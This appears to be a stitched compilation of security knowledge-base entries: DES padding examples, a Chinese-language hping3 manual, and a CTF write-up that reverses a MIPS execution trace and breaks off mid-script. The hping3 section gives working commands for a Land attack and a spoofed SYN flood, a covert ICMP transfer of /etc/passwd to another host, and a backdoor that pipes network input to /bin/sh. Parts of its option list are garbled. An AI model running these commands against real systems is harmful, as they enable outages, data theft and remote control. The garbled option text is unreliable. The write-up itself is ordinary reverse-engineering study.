DES OUTPUT BLOCK = 91 19 2C 64 B5 5C 5D B8
```
### Pad with zero (null) characters
举例子如下
```
DES INPUT BLOCK = f o r _ _ _ _ _
(IN HEX) 66 6f 72 00 00 00 00 00
KEY = 01 23 45 67 89 AB CD EF
DES OUTPUT BLOCK = 9E 14 FB 96 C5 FE EB 75
```
### Pad with spaces
举例子如下
```
DES INPUT BLOCK = f o r _ _ _ _ _
(IN HEX) 66 6f 72 20 20 20 20 20
KEY = 01 23 45 67 89 AB CD EF
DES OUTPUT BLOCK = E3 FF EC E5 21 1F 35 25
```
|
sec-knowleage
|
hping3
===
测试网络及主机的安全
## 补充说明
**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
### 安装
```shell
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
```
### 选项
```shell
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
```
### Hping3功能
Hping3主要有以下典型功能应用:
### # 防火墙测试
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
```shell
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
```
### # 端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
```shell
hping3 -I eth0 -S 192.168.10.1 -p 80
```
其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
### # Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
### # 拒绝服务攻击
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。
```shell
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
```
其他攻击如smurf、teardrop、land attack等也很容易构建出来。
### # 文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:
```shell
hping3 192.168.1.159--listen signature --safe --icmp
```
监听ICMP包中的签名,根据签名解析出文件内容。
在发送端使用签名打包的ICMP包发送文件:
```shell
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
```
将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。
### # 木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。
在木马启动端:
```shell
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
```
在远程控制端:
```shell
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
```
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。
|
sec-knowleage
|
## Trace (RE, 4p)
follow the trace trace.log
update:
the flag is at 0x400D80
*(uint32_t*)0x00410EA0 == 0x400D80
###ENG
[PL](#pl-version)
We are given very long execution trace (list of opcodes executed by processor, in order) and want to get flag out of it.
It seems funny, because that was really interesting challenge. At the beginning we didn't even know where tha flag was, because tracelog doesn't contain any data (only opcodes).
We started from processing call log. We wanted to get program code from it, so we just sorted it (we wanted to get real program code that was executed)
sort trace.log | uniq > prog
Then we hacked quick and dirty script to process that code and split it into basic blocks:
```python
import string
blocks=[[]]
blockno={}
def is_final(ins):
FINAL="move r1, r1"
return string.find(ins, FINAL)!=-1
for line in open("prog").read().split("\n")[:-1]:
blocks[-1].append(line)
blockno[line]=len(blocks)-1
if is_final(line):
blocks.append([])
blocks=blocks[:-1]
f=open("basic_blocks","w")
for cnt, block in enumerate(blocks):
f.write("Basic block #"+str(cnt)+"\n")
for line in block:
f.write(line+"\n")
f.write("\n========\n\n")
f.close()
bb=[]
next_check=True
for line in open("log").read().split("\n")[:-1]:
if is_final(line):
next_check=True
continue
if next_check:
next_check=False
bb.append(blockno[line])
print bb
```
Result of running that script (with my manual annotations after //, no point in delaying that):
```asm
// function red() - strlen
Basic block #0
[INFO]00400770 addiu r29, r29, 0xffffffe8 // r29 -= 18
[INFO]00400774 sw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]00400778 move r30, r29 // r30 = r29
[INFO]0040077c sw r4, [r30+0x18] // r4 = r30[0x18]
[INFO]00400780 sw r0, [r30+0x8] // r0 = r30[8]
// block 0x400784
[INFO]00400784 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400788 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]0040078c addu r2, r3, r2 // r2 += r3
[INFO]00400790 lb r2, [r2+0x0] // r2 = r2[0]
[INFO]00400794 bnez r2, 0x4007a8 // if (r2 != 0) goto BLOCK_2
========
Basic block #1
[INFO]0040079c lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007a0 j 0x4007bc // goto BLOCK_3
========
Basic block #2
[INFO]004007a8 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007ac addiu r2, r2, 0x1 // r2 += 1
[INFO]004007b0 sw r2, [r30+0x8] // r30[8] = r2
[INFO]004007b4 j 0x400784 // goto 0x400784
========
Basic block #3
[INFO]004007bc move r29, r30 // r29 = r30
[INFO]004007c0 lw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]004007c4 addiu r29, r29, 0x18 // r29 += 18
[INFO]004007c8 jr r31 // ret
========
// function green() - strcpy
Basic block #4
[INFO]004007d0 addiu r29, r29, 0xffffffe8 // r29 -= 18
[INFO]004007d4 sw r30, [r29+0x14] // r29[0x14] = r30
[INFO]004007d8 move r30, r29 // r30 = r29
[INFO]004007dc sw r4, [r30+0x18] // r30[0x18] = r4
[INFO]004007e0 sw r5, [r30+0x1c] // r30[0x1c] = r5
[INFO]004007e4 sw r0, [r30+0x8] // r30[8] = r0
[INFO]004007e8 j 0x40081c // goto 0x40081c
========
Basic block #5
[INFO]004007f0 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]004007f4 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]004007f8 addu r2, r3, r2 // r2 += r3
[INFO]004007fc lw r3, [r30+0x8] // r3 = r30[8]
[INFO]00400800 lw r4, [r30+0x1c] // r4 = r30[0x1c]
[INFO]00400804 addu r3, r4, r3 // r3 += r4
[INFO]00400808 lb r3, [r3+0x0] // r3 = r3[0]
[INFO]0040080c sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400810 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400814 addiu r2, r2, 0x1 // r2 += 1
[INFO]00400818 sw r2, [r30+0x8] // r30[8] = r2
// block 0x40081c
[INFO]0040081c lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400820 lw r3, [r30+0x1c] // r3 = r30[0x1c]
[INFO]00400824 addu r2, r3, r2 // r2 += r3
[INFO]00400828 lb r2, [r2+0x0] // r2 = r2[0]
[INFO]0040082c bnez r2, 0x4007f0 // if r2 != 0: goto BLOCK_5
========
Basic block #6
[INFO]00400834 lw r2, [r30+0x8] // r2 = r30[8]
[INFO]00400838 lw r3, [r30+0x18] // r3 = r30[0x18]
[INFO]0040083c addu r2, r3, r2 // r2 += r3
[INFO]00400840 sb r0, [r2+0x0] // r2[0] = r0
[INFO]00400844 move r29, r30 // r29 = r30
[INFO]00400848 lw r30, [r29+0x14] // r30 = r29[0x14]
[INFO]0040084c addiu r29, r29, 0x18 // r29 += 18
[INFO]00400850 jr r31 // ret
========
// function blue()
Basic block #7
[INFO]00400858 addiu r29, r29, 0xffffffd0
[INFO]0040085c sw r31, [r29+0x2c]
[INFO]00400860 sw r30, [r29+0x28]
[INFO]00400864 move r30, r29
[INFO]00400868 sw r4, [r30+0x30] // r30[0x30] = r4 # buffer start
[INFO]0040086c sw r5, [r30+0x34] // r30[0x34] = r5 # length
[INFO]00400870 lw r2, [r30+0x34] // r2 = r30[0x34]
[INFO]00400874 slti r2, r2, 0x2 // r2 = (r2 < 2)
[INFO]00400878 beqz r2, 0x400888 // if (r2 == 0) goto BLOCK_9 # if length >= 2 continue
========
Basic block #8
[INFO]00400880 j 0x4009bc // goto exitfunc (BLOCK_14)
========
Basic block #9
[INFO]00400888 lw r2, [r30+0x30] // r2 = r30[0x30]
[INFO]0040088c lbu r2, [r2+0x0] // r2 = r2[0] # first byte of buffer
[INFO]00400890 sb r2, [r30+0x20] // r30[0x20] = r2
[INFO]00400894 addiu r2, r0, 0x1 // r2 = 1
[INFO]00400898 sw r2, [r30+0x18] // r30[0x18] = r2
[INFO]0040089c addiu r2, r0, 0x1 // r2 = 1
[INFO]004008a0 sw r2, [r30+0x1c] // r30[0x1c] = r2
[INFO]004008a4 j 0x40092c // goto unnamed block
========
Basic block #10
[INFO]004008ac lw r2, [r30+0x1c] // r2 = r30[0x1c] # indeks
[INFO]004008b0 lw r3, [r30+0x30] // r3 = r30[0x30] # start buffera
[INFO]004008b4 addu r2, r3, r2 // r2 += r3
[INFO]004008b8 lb r2, [r2+0x0] // r2 = r2[0] # next character
[INFO]004008bc lb r3, [r30+0x20] // r3 = r30[0x20] # first byte of buffer
[INFO]004008c0 slt r2, r2, r3 // r2 = (r2 < r3)
[INFO]004008c4 beqz r2, 0x400920 // if r2 != 0 goto unnamed block # if (r2 >= r3)
========
Basic block #11
[INFO]004008cc lw r2, [r30+0x18] // r2 = r30[0x18] # counter18
[INFO]004008d0 lw r3, [r30+0x30] // r3 = r30[0x30] # start of buffer
[INFO]004008d4 addu r2, r3, r2 // r2 += r3
[INFO]004008d8 lbu r2, [r2+0x0] // r2 = r2[0] # take byte from buffer[counter18]
[INFO]004008dc sb r2, [r30+0x21] // r30[0x21] = r2
[INFO]004008e0 lw r2, [r30+0x18] // r2 = r30[0x18]
[INFO]004008e4 lw r3, [r30+0x30] // r3 = r30[0x30] # adress buffer
[INFO]004008e8 addu r2, r3, r2 // r2 += r3
[INFO]004008ec lw r3, [r30+0x1c] // r3 = r30[0x1c] # counter1c
[INFO]004008f0 lw r4, [r30+0x30] // r4 = r30[0x30] # adress buffer
[INFO]004008f4 addu r3, r4, r3 // r3 += r4
[INFO]004008f8 lb r3, [r3+0x0] // r3 = r3[0] # buffer[counter1c]
[INFO]004008fc sb r3, [r2+0x0] // r2[0] = r3 # buffer[counter18] = buffer[counter1c]
[INFO]00400900 lw r2, [r30+0x1c] // r2 = r30[0x1c]
[INFO]00400904 lw r3, [r30+0x30] // r3 = r30[0x30]
[INFO]00400908 addu r2, r3, r2 // r2 += r3 # adress buffer[counter1c]
[INFO]0040090c lbu r3, [r30+0x21] // r3 = r30[0x21]
[INFO]00400910 sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400914 lw r2, [r30+0x18] // \
[INFO]00400918 addiu r2, r2, 0x1 // r30[r18] += 1
[INFO]0040091c sw r2, [r30+0x18] // /
// block
[INFO]00400920 lw r2, [r30+0x1c] // \
[INFO]00400924 addiu r2, r2, 0x1 // r30[r1c] += 1
[INFO]00400928 sw r2, [r30+0x1c] // /
// block
[INFO]0040092c lw r3, [r30+0x1c] // r3 = r30[0x1c] # some index (indeks1c)
[INFO]00400930 lw r2, [r30+0x34] // r2 = r30[0x34] # length
[INFO]00400934 slt r2, r3, r2 // r2 = (r3 < r2)
[INFO]00400938 bnez r2, 0x4008ac // if index is not longer than lengrth, jump to BLOCK_10
========
Basic block #12
[INFO]00400940 lw r2, [r30+0x18] // l2 = r30[0x18] # indeks2 (indeks18)
[INFO]00400944 addiu r2, r2, 0xffffffff // r2 -= 1
[INFO]00400948 lw r3, [r30+0x30] // r3 = r30[0x30]
[INFO]0040094c addu r2, r3, r2
[INFO]00400950 lbu r2, [r2+0x0] // r2 = buffer[r18 - 1]
[INFO]00400954 sb r2, [r30+0x21] // r30[0x21] = r2
[INFO]00400958 lw r2, [r30+0x18]
[INFO]0040095c addiu r2, r2, 0xffffffff // r2 = r30[0x18] - 1
[INFO]00400960 lw r3, [r30+0x30]
[INFO]00400964 addu r2, r3, r2 // r2 = &buffer[r2]
[INFO]00400968 lw r3, [r30+0x30]
[INFO]0040096c lb r3, [r3+0x0] // r3 = buffer[0]
[INFO]00400970 sb r3, [r2+0x0] // buffer[r18-1] = buffer[0]
[INFO]00400974 lw r2, [r30+0x30]
[INFO]00400978 lbu r3, [r30+0x21]
[INFO]0040097c sb r3, [r2+0x0] // buffer[0] = r30[r21];
[INFO]00400980 lw r2, [r30+0x18]
[INFO]00400984 addiu r2, r2, 0xffffffff // r2 -= 1
[INFO]00400988 lw r4, [r30+0x30]
[INFO]0040098c move r5, r2 // r5 = r2
[INFO]00400990 jal 0x400858 // call blue()
========
Basic block #13
[INFO]00400998 lw r2, [r30+0x18]
[INFO]0040099c lw r3, [r30+0x30]
[INFO]004009a0 addu r4, r3, r2 // r4 = &buffer[r18]
[INFO]004009a4 lw r3, [r30+0x34]
[INFO]004009a8 lw r2, [r30+0x18]
[INFO]004009ac subu r2, r3, r2 // r2 = buflen - r18
[INFO]004009b0 move r5, r2 // r5 = r2
[INFO]004009b4 jal 0x400858 // call blue()
========
Basic block #14
[INFO]004009bc move r29, r30 // exit func
[INFO]004009c0 lw r31, [r29+0x2c] // r31 = r29[0x2c]
[INFO]004009c4 lw r30, [r29+0x28] // r39 = r29[0x28]
[INFO]004009c8 addiu r29, r29, 0x30 // r29 += 0x30
[INFO]004009cc jr r31 // ret
========
// main()
Basic block #15
[INFO]004009d4 addiu r29, r29, 0xfffffec8
[INFO]004009d8 sw r31, [r29+0x134]
[INFO]004009dc sw r30, [r29+0x130]
[INFO]004009e0 move r30, r29
[INFO]004009e4 lui r28, 0x42
[INFO]004009e8 addiu r28, r28, 0xffff8eb0
[INFO]004009ec sw r28, [r29+0x10]
[INFO]004009f0 lui r2, 0x41
[INFO]004009f4 lw r2, [r2+0xea0]
[INFO]004009f8 move r4, r2 // r4 = FLAG
[INFO]004009fc jal 0x400770 // strlen(FLAG)
[INFO]00400a00 move r1, r1
========
Basic block #16
[INFO]00400a04 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400a08 sw r2, [r30+0x2c] // r30[0x2c] = r2 (result of strlen)
[INFO]00400a0c sw r0, [r30+0x18] // r30[0x18] = 0
[INFO]00400a10 j 0x400a4c
[INFO]00400a14 move r1, r1
========
Basic block #17 - compute something funny, looks like abcdefghi... array
[INFO]00400a18 lw r2, [r30+0x18] // r2 = r30[0x18]
[INFO]00400a1c andi r2, r2, 0xff // r2 &= 0xFF
[INFO]00400a20 addiu r2, r2, 0x61 // r2 += 0x61 # += 'a'
[INFO]00400a24 andi r2, r2, 0xff // r2 &= 0xFF
[INFO]00400a28 sll r3, r2, 0x18 // r3 = r2 << 0x18
[INFO]00400a2c sra r3, r3, 0x18 // r3 = r3 >> 0x18
[INFO]00400a30 addiu r4, r30, 0x30 // r4 = r30 + 0x30
[INFO]00400a34 lw r2, [r30+0x18] // r2 = r30[0x18] # indekx
[INFO]00400a38 addu r2, r4, r2 // r2 += r4 # bufer[index]?
[INFO]00400a3c sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400a40 lw r2, [r30+0x18] // \
[INFO]00400a44 addiu r2, r2, 0x1 // r30[0x18] += 1
[INFO]00400a48 sw r2, [r30+0x18] // /
// block
[INFO]00400a4c lw r2, [r30+0x18] // r2 = r30[0x18] (starting with 00
[INFO]00400a50 slti r2, r2, 0x1a // while r2 < 0x1a, so string length
[INFO]00400a54 bnez r2, 0x400a18
========
Basic block #18
[INFO]00400a5c sw r0, [r30+0x1c] // r30[0x1c] = 0
[INFO]00400a60 j 0x400aa0 // goto ...
========
Basic block #19
[INFO]00400a68 lw r2, [r30+0x1c] // r2 = r30[0x1c] # offset in buffer?
[INFO]00400a6c addiu r2, r2, 0x1a // r2 += 0x1a
[INFO]00400a70 lw r3, [r30+0x1c] // r30 = r30[0x1c] # index
[INFO]00400a74 andi r3, r3, 0xff // r3 &= 0xFF
[INFO]00400a78 addiu r3, r3, 0x41 // r3 += 0x41 # 'A'
[INFO]00400a7c andi r3, r3, 0xff // r3 &= 0xFF
[INFO]00400a80 sll r3, r3, 0x18 // r3 <<= 0x18
[INFO]00400a84 sra r3, r3, 0x18 // r3 >>= 0x18
[INFO]00400a88 addiu r4, r30, 0x30 // r4 = r30 + 0x30 # another buffer?
[INFO]00400a8c addu r2, r4, r2 // r2 += r4 # buffer[index]?
[INFO]00400a90 sb r3, [r2+0x0] // r2[0] = r3
[INFO]00400a94 lw r2, [r30+0x1c] // \
[INFO]00400a98 addiu r2, r2, 0x1 // r30[0x1c] += 1
[INFO]00400a9c sw r2, [r30+0x1c] // /
[INFO]00400aa0 lw r2, [r30+0x1c] // stupid compiler
// block
[INFO]00400aa4 slti r2, r2, 0x1a // loop 26 times
[INFO]00400aa8 bnez r2, 0x400a68
========
Basic block #20
[INFO]00400ab0 sw r0, [r30+0x20] // r30[0x20] = 0
[INFO]00400ab4 j 0x400af4
[INFO]00400ab8 move r1, r1
========
Basic block #21
[INFO]00400abc lw r2, [r30+0x20] //
[INFO]00400ac0 addiu r2, r2, 0x34 // offset in buffer
[INFO]00400ac4 lw r3, [r30+0x20] //
[INFO]00400ac8 andi r3, r3, 0xff //
[INFO]00400acc addiu r3, r3, 0x30 //
[INFO]00400ad0 andi r3, r3, 0xff //
[INFO]00400ad4 sll r3, r3, 0x18 //
[INFO]00400ad8 sra r3, r3, 0x18 //
[INFO]00400adc addiu r4, r30, 0x30 // create buffer filled with 012345...
[INFO]00400ae0 addu r2, r4, r2 //
[INFO]00400ae4 sb r3, [r2+0x0] //
[INFO]00400ae8 lw r2, [r30+0x20] //
[INFO]00400aec addiu r2, r2, 0x1 //
[INFO]00400af0 sw r2, [r30+0x20] //
[INFO]00400af4 lw r2, [r30+0x20] //
[INFO]00400af8 slti r2, r2, 0xa //
[INFO]00400afc bnez r2, 0x400abc //
========
Basic block #22
[INFO]00400b04 addiu r2, r0, 0x7b // r2 = 0x7b # {
[INFO]00400b08 sb r2, [r30+0x6e] // r30[0x6e] = r2
[INFO]00400b0c addiu r2, r0, 0x7d // r2 = 0x7d # }
[INFO]00400b10 sb r2, [r30+0x6f] // r30[0x6f] = r2
[INFO]00400b14 lui r2, 0x41 // r2 = 0x41
[INFO]00400b18 lw r3, [r2+0xea0] // r3 = &FLAG
[INFO]00400b1c addiu r2, r30, 0x30 // r2 = r30 + 0x30 - start of buffer
[INFO]00400b20 addiu r2, r2, 0x40 // r2 += 0x40 - 40 byte offset
[INFO]00400b24 move r4, r2 // r4 = r2 - copy there
[INFO]00400b28 move r5, r3 // r5 = r3 - flag
[INFO]00400b2c jal 0x4007d0 // strcpy()
========
Basic block #23
[INFO]00400b34 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400b38 addiu r2, r30, 0x30 // r2 = r30 + 0x30
[INFO]00400b3c move r4, r2 // r4 = r2
[INFO]00400b40 jal 0x400770 // strlen() # wychodzi 90
========
Basic block #24
[INFO]00400b48 lw r28, [r30+0x10] // r28 = r30[0x10]
[INFO]00400b4c move r3, r2 // r3 = r2
[INFO]00400b50 addiu r2, r30, 0x30 // r2 = r30 + 0x30
[INFO]00400b54 move r4, r2 // r4 = r2 # r2 = buffer start
[INFO]00400b58 move r5, r3 // r5 = r3 # r5 = 90 (strlen result)
[INFO]00400b5c jal 0x400858 // NIEBIESKA()
[INFO]00400b60 move r1, r1
========
Basic block #25
[INFO]00400b64 lw r28, [r30+0x10]
[INFO]00400b68 addiu r2, r30, 0x30
[INFO]00400b6c move r4, r2
[INFO]00400b70 jal 0x400770
[INFO]00400b74 move r1, r1
========
Basic block #26
[INFO]00400b78 lw r28, [r30+0x10]
[INFO]00400b7c sw r2, [r30+0x2c]
[INFO]00400b80 sw r0, [r30+0x24]
[INFO]00400b84 sw r0, [r30+0x28]
[INFO]00400b88 j 0x400bd4
[INFO]00400b8c move r1, r1
========
Basic block #27
[INFO]00400b90 addiu r3, r30, 0x30
[INFO]00400b94 lw r2, [r30+0x28]
[INFO]00400b98 addu r2, r3, r2
[INFO]00400b9c lb r3, [r2+0x0]
[INFO]00400ba0 lw r2, [r30+0x28]
[INFO]00400ba4 addiu r2, r2, 0x1
[INFO]00400ba8 addiu r4, r30, 0x30
[INFO]00400bac addu r2, r4, r2
[INFO]00400bb0 lb r2, [r2+0x0]
[INFO]00400bb4 beq r3, r2, 0x400bc8
[INFO]00400bb8 move r1, r1
========
Basic block #28
[INFO]00400bbc lw r2, [r30+0x24]
[INFO]00400bc0 addiu r2, r2, 0x1
[INFO]00400bc4 sw r2, [r30+0x24]
[INFO]00400bc8 lw r2, [r30+0x28]
[INFO]00400bcc addiu r2, r2, 0x1
[INFO]00400bd0 sw r2, [r30+0x28]
[INFO]00400bd4 lw r2, [r30+0x2c]
[INFO]00400bd8 addiu r3, r2, 0xffffffff
[INFO]00400bdc lw r2, [r30+0x28]
[INFO]00400be0 slt r2, r2, r3
[INFO]00400be4 bnez r2, 0x400b90
[INFO]00400be8 move r1, r1
========
Basic block #29
[INFO]00400bec lw r3, [r30+0x24]
[INFO]00400bf0 addiu r2, r0, 0x3f
[INFO]00400bf4 beq r3, r2, 0x400c10
[INFO]00400bf8 move r1, r1
========
Basic block #30
[INFO]00400c10 addiu r2, r30, 0x30
[INFO]00400c14 move r4, r2
[INFO]00400c18 lw r2, [r28+0xffff8034]
[INFO]00400c1c move r25, r2
[INFO]00400c20 jalr r25
[INFO]00400c24 move r1, r1
```
This code also prints order in which blocks were executed. That allowed us to draw this pretty graph (I allowed myself to color functions):

As you might have noticed, I recognised red and green function immediately (that's only because they were rather obvious) - they were strlen and strcpy respectively.
I also analysed what the code is doing at the beginnign (EP is in block 15) - it is creating one big buffer in memory, and appending flag to it.
So in the end, we are stuck with following blob in memory:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}[FLAGFLAGFLAGFLAGFLAGFLAG]
And then, blue function is called. Blue function was really complex, so I took liberty to implement it in C:
```cpp
void blue(char *buffer, int buflen)
{
if (buflen > 1) {
int r18 = 1;
int r20 = buffer[0];
int r21;
for (int r1c = 1; r1c < buflen; r1c++) {
if (buffer[r1c] >= r20) {
continue;
}
r21 = buffer[r18];
buffer[r18] = buffer[r1c];
buffer[r1c] = r21;
r18 += 1;
}
r21 = buffer[r18-1];
buffer[r18-1] = buffer[0];
buffer[0] = r21;
blue(buffer, r18-1);
blue(buffer+r18, buflen-r18);
}
}
```
If I were not mistaken (and I were not), this function should behave exactly like function that our trace executed.
This is some variant of quicksort (I'm not theory-savy enough to know exact variant name, but that couldn't be less relevant in solving this challenge).
So the problem arised - what now? We knew *what* was executed, we knew *how* it executed, how can we get possibly recover flag from that?
The path we went were probably not the easiest, but it worked. So, first we choose important "checkpoints" inside function:
```cpp
void blue(char *buffer, int buflen)
{
// STARTFX
if (buflen > 1) {
// STARTMAIN
int r18 = 1;
int r20 = buffer[0];
int r21;
for (int r1c = 1; r1c < buflen /*FOR_CHECK*/; r1c++ /*FOR_INC*/)) {
// STARTFOR
if (buffer[r1c] >= r20) {
// SKIP
continue;
}
// SWAP_18_1C
r21 = buffer[r18];
buffer[r18] = buffer[r1c];
buffer[r1c] = r21;
r18 += 1;
// ENDFOR
}
// AFTERFOR
r21 = buffer[r18-1];
buffer[r18-1] = buffer[0];
buffer[0] = r21;
blue(buffer, r18-1);
blue(buffer+r18, buflen-r18);
// ENDMAIN
}
// ENDFX
}
```
Than we processed trace.log once again, but looking only at "checkpoints"
```python
data = open('log').read().split('\n')
for line in data:
if '[INFO]00400858' in line:
print 'STARTFX'
if '[INFO]00400888' in line:
print 'STARTMAIN'
if '[INFO]004008ac' in line:
print 'STARTFOR'
if '[INFO]004008cc' in line:
print 'SWAP_18_1C'
if '[INFO]00400920' in line:
print 'FOR_INC'
if '[INFO]0040092c' in line:
print 'FOR_CHECK'
if '[INFO]00400940' in line:
print 'AFTERFOR'
if '[INFO]004009bc' in line:
print 'ENDMAIN'
```
And finally, we hacked (ugly!) script to "follow" log, and do exactly as it told us:
```python
log = [x.strip() for x in open('calllog').read().split('\n')]
known = [] # known "facts" about characters in flag
def process(log, il, state):
if log[il] != 'STARTFX':
raise 'error'
il += 1
if len(state) > 1:
if log[il] != 'STARTMAIN':
raise 'error'
il += 1
r18 = 1
for r1c in range(1, len(state)+1):
if log[il] != 'FOR_CHECK':
raise 'error'
il += 1
if r1c == len(state):
break
if log[il] == 'AFTERFOR':
break
if log[il] != 'STARTFOR':
raise 'error'
il += 1
if log[il] == 'SWAP_18_1C':
# we are in 'swap' branch, so buffer[r1c] < state[0]
known.append([state[r1c], '<', state[0]])
il += 1
